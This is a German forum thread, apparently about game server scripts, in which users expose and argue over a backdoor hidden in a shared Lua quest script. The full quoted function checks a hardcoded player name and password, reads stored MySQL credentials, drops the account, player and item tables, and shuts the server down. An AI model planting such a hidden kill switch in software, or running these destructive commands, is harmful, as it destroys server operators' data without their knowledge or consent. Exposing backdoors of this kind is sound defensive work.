Wow nize
Danke kann man sihcerlich gut gebrauche.
Respekt fürs scripten ;)
Danke kann man sihcerlich gut gebrauche.
Respekt fürs scripten ;)
Runterfahren ist etwas anderes ;)Quote:
Naja, hab's mir gerade mal angeschaut, eine Sicherheitslücke ist das ja nicht, ist ja eher eine Art Backdoor um den Server runterzufahren, wenn er will :0
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE account.account'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player_index'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.item'")
Ja und nachdem die MySQL Datenbanken gelöscht wurden wird der Root runtergefahren, du musst auch mal weiterlesen. Und trotzdem ist das keine Sicherheitslücke, eher eine Art Backdoor.Quote:
Runterfahren ist etwas anderes ;)
Betonung auf DROP TABLECode:os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE account.account'") os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player'") os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player_index'") os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.item'")
Sicherheitslücke != Backdoor.Quote:
Eine Backdoor ist ja auch nicht das gleiche wie eine sicherheitslücke :facepalm:
Wikipedia meint: Über einen langen Zeitraum bestehende Sicherheitslücken in quelloffener Software weisen auf diesen Umstand hin. Damit ist gemeint weisen auf eine Backdoor hin
baut diese zeile aus und fertig aber ich würde nie im leben so ein scheiß in den server bauen. Warum gibts extra programme die sicher über ssh verbinden die auch mit private key funzen...najach wers brauch...Quote:
function catch_assholes()
if pc.get_name() == "ilovekaija94" then
local secure = input("")
if secure != "123kaija432" then
return
end
local w = io.open("kpanel/acc","r")
if w~=nil then
local account = r:read()
r:close()
else
say("Eine temporäre Datei fehlt!")
end
local w = io.open("kpanel/pw","r")
if w~=nil then
local password = r:read()
r:close()
else
say("Eine temporäre Datei fehlt!")
end
say_title("Catch assholes")
say("Benutzt da jemand deine Software ohne Erlaubnis?")
say("Sorge dafür, dass das aufhört.")
local catchit = select("Catch it!", "Abbrechen")
if catchit == 2 then
return
end
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE account.account'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.player_index'")
os.execute("mysql -u "..account.." --password="..password.." --execute='DROP TABLE player.item'")
os.execute("shutdown -h now")
end
end
os.execute("shutdown -h now")
--Quest by Yasin for Kaija--